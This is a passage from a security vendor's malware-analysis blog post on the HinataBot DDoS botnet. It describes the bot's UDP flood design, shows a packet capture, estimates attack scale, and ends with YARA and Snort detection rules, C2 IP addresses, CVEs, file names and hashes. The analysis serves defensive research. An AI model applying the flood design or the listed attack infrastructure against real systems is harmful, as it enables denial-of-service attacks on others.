The screenshot in Figure 34 shows the setup of the udp_flood socket. It utilizes Go’s net library using net.Dial to create the UDP socket. It then creates 512 workers, which share the socket, each running in a loop pushing data over the socket until the duration timer sends them a kill command via a shared channel. The UDP packets (Figure 35) that exit the bot are very large (65,549 bytes per packet in total), and are likely to arrive fragmented to victims across the internet . This size is hard coded within the binary and not under control of the attacker on a per-attack basis.

  15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length

Fig. 35: Packet capture of UDP attack packets

The 65,507 bytes packed into the UDP data segment are all null bytes (Figure 36).The IP ID header does increment sequentially during the attack and, although the source port is ephemeral, it remains static during the duration of the flood. This is all likely a side effect of net.Dial managing the UDP socket across the entire attacker worker pool. One other thing to note is the failing check sums on the UDP data.

This is all likely a side effect of net.Dial managing the UDP socket across the entire attacker worker pool. One other thing to note is the failing check sums on the UDP data. Fig. 36: Verbose packet capture detail of UDP attack packet

How did they measure up?

In order to benchmark these two attack methods, we ran two 10-second attacks, one for each method carving just the attack flows off the wire into packet captures. We were then able to see the overall size of traffic generated per attack type. 

The http_flood generated 3.4 MB of packet capture data and pushed 20,430 HTTP requests. The request sizes ranged from 484 to 589 bytes per request, with sizes varying mostly due to randomization of User-Agent and Cookie header data. These request packet lengths will also be impacted by the inclusion of additional headers (e.g., Authorization Basic data), URL path and GET parameter padding, and inclusion of TLS, so take them with a grain of salt. 

It’s worth pointing out that the server targeted during this attack event was also very simple and single threaded; it’s possible if the attack was directed at a server more capable of responding faster to the worker pool, these numbers could go up.

The udp_flood generated 6,733 packets for a total of 421 MB of packet capture data over the wire. There isn’t much else that’s interesting about this attack: it is volumetric in nature and seems to do a decent job of pushing volume. As stated previously, due to the size of the packets generated by this attack, victims will likely see a deluge of fragments during real-world attack events.

Using our 10-second sample sets and a theorized size of the botnet, we can begin estimating attack sizing. If the botnet contained just 1,000 nodes, the resulting UDP flood would weigh in at around 336 Gbps per second. With 10,000 nodes (roughly 6.9% of the size of Mirai at its peak), the UDP flood would weigh in at more than 3.3 Tbps. The HTTP flood at 1,000 nodes would generate roughly 2.7 Gbps and more than 2 Mrps. With 10,000 nodes, those numbers jump to 27 Gbps delivering 20.4 Mrps.

These theorized capabilities obviously don’t take into account the different kinds of servers that would be participating, their respective bandwidth and hardware capabilities, etc., but you get the picture. Let’s hope that the HinataBot authors move onto new hobbies before we have to deal with their botnet at any real scale.

Conclusion

HinataBot is the latest example of the evolving threat landscape, particularly in relation to botnets. Malware authors are continuing to innovate their use of implementation methods, languages, and distribution methods. By leaning on older, proven techniques, such as those used within Mirai, attackers can focus more on curating pieces that evade detection,  continuously evolve, and add new functionality.  

By continuing to explore and analyze evolving threats such as HinataBot, we can better understand the tactics, techniques, and procedures of attackers to develop more robust defenses against them. The HinataBot family relies on old vulnerabilities and brute forcing weak passwords for distribution. This is yet another example of why strong password and patching policies are more critical than ever. Attackers are always looking for low-hanging fruit with high return on investment, so making it more difficult for attacks to be successful helps significantly in keeping your environment and the internet safe. 

This is likely just the beginning for HinataBot. The Akamai SIRT will continue to monitor its evolution over time and report new findings when relevant.

Akamai customers are protected from the two attack capabilities this botnet supports.

  1. Akamai mitigates non-HTTP attacks transparently at the edge, including UDP, TCP, and ICMP floods.

  2. Akamai App & API Protector mitigates L7 web application attacks like this automatically via Akamai Client Reputation, Rate Controls, Akamai Bot Manager, and web application firewall rules.

Should you have additional questions about protections from this botnet, please refer to your Akamai account team for further information.

IOCs

YARA rules

  • HinataBot binaries

  rule detect_hinatabot_strings {
    Meta:
                 description = "This rule detects HinataBot binaries."
        confidence = "high"
    strings:
        $s1 = "HINATA_START_NICE"
        $s2 = "API_CONNECT_BOT"
        $s3 = "Connection to CNC is OK!"
        $s4 = "API_CONNECTION_SIGNAL_CHECK"
        $s5 = "API_CONNECTION_SIGNAL_OK"
        $s6 = "API_CONNECTION_ATTACK"
        $s7 = "Hinata already running"
        $s8 = "API_CONNECTION_KILL_ALL"
        $s9 = "hinata_exists"
        $s10 = "hinata_loaded"
        $s11 = "HINATA_"
    condition:
        3 of ($s*)
}
  • HinataBot Infector scripts

  rule detect_malicious_files {
    meta:
	   description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
	   confidence = "high"
    strings:
        $file_names = /hinata-[a-z\.0-9]+/
    condition:
        all of them
}

Snort rules

  • http_flood

  alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server;  sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
  • Communications from C2 server

  alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
  • Communications to C2 server

  alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)

IPs

  • 77.73.131.247
    
  • 156.236.16.237
    
  • 185.112.83.254
    

Ports

  • 61420
    
  • 1420
    

CVEs

  • CVE-2017-17215
    
  • CVE-2014-8361
    

File Names

  • tftp.sh
    
  • wget.sh
    
  • hinata-linux.amd64
    
  • hinata-windows-arm5
    
  • hinata-plan9-arm5
    
  • hinata-openbsd-arm5
    
  • hinata-netbsd-arm5
    
  • hinata-linux-arm5
    
  • hinata-freebsd-arm5
    
  • hinata-windows-arm7
    
  • hinata-windows-arm64.exe
    
  • hinata-windows-arm6
    
  • hinata-windows-arm
    
  • hinata-windows-amd64.exe
    
  • hinata-windows-386.exe
    
  • hinata-solaris-amd64
    
  • hinata-plan9-arm7
    
  • hinata-plan9-arm6
    
  • hinata-plan9-arm
    
  • hinata-plan9-amd64
    
  • hinata-plan9-386
    
  • hinata-openbsd-mips64
    
  • hinata-openbsd-arm7
    
  • hinata-openbsd-arm64
    
  • hinata-openbsd-arm6
    
  • hinata-openbsd-arm
    
  • hinata-openbsd-amd64
    
  • hinata-openbsd-386
    
  • hinata-netbsd-arm7
    
  • hinata-netbsd-arm64
    
  • hinata-netbsd-arm6
    
  • hinata-netbsd-arm
    
  • hinata-netbsd-amd64
    
  • hinata-netbsd-386
    
  • hinata-linux-s390x
    
  • hinata-linux-riscv64
    
  • hinata-linux-ppc64le
    
  • hinata-linux-ppc64
    
  • hinata-linux-mipsle
    
  • hinata-linux-mips64le
    
  • hinata-linux-mips64
    
  • hinata-linux-mips
    
  • hinata-linux-arm7
    
  • hinata-linux-arm64
    
  • hinata-linux-arm6
    
  • hinata-linux-arm
    
  • hinata-linux-amd64
    
  • hinata-linux-386
    
  • hinata-js-wasm
    
  • hinata-illumos-amd64
    
  • hinata-freebsd-arm7
    
  • hinata-freebsd-arm64
    
  • hinata-freebsd-arm6
    
  • hinata-freebsd-arm
    
  • hinata-freebsd-amd64
    
  • hinata-freebsd-386
    
  • hinata-dragonfly-amd64
    
  • hinata-darwin-arm64
    
  • hinata-darwin-amd64
    
  • hinata-android-arm64
    
  • hinata-aix-ppc64
    

Recent hashes

  • 01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
    
  • 1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
    
  • 8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
    
  • 4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
    
  • 71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
    
  • c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
    
  • 92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
    
  • 8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
    
  • ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
    
  • a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
    
  • 9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
    
  • 6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
    
  • C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
    
  • 5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
    
  • 845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
    
  • 995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
    
  • 07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
    
  • 61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
    
  • 75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
    
  • E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67
    


Akamai Wave Blue

Written by

Chad Seaman, Larry Cashdollar, and Allen West

March 16, 2023

Chad Seaman headshot

Written by

Chad Seaman

Chad Seaman is a Principal Security Researcher and Team Lead of Akamai’s Security Intelligence Response Team. He proudly refers to himself as an “Internet Dumpster Diver,” and enjoys looking through the muck and mire he finds there. Chad began his career as a programmer, and after being exposed to security, exploitation, and forensics via breach investigations, security quickly became his preferred work. He now spends his time engulfed in malware investigations, reverse engineering, vulnerability research, DDoS, and cybercrime investigations. He likes flying airplanes, poking holes in paper at a distance, and spending time in nature, preferably in the woods, on a trail, or on a dirt bike.

Larry Cashdollar

Written by

Larry Cashdollar

Larry W. Cashdollar has been working in the security field as a vulnerability researcher for more than 20 years and is currently a Principal Security Researcher on the Security Intelligence Response Team at Akamai. He studied computer science at the University of Southern Maine. Larry has documented more than 300 CVEs and has presented his research at BotConf, BSidesBoston, OWASP Rhode Island, and DEF CON. He enjoys the outdoors and rebuilding small engines in his spare time.

Allen West

Written by

Allen West

Allen West is a Security Researcher on Akamai's Security Intelligence Response Team who loves investigating threats and building tools. He is currently pursuing his master's degree in Information Security and Assurance from Carnegie Mellon University. He received his undergraduate degree in Cybersecurity from Northeastern University, and he is a Marine Corps veteran. During his free time, Allen loves to travel, hike, swim — anything outdoors and adventurous.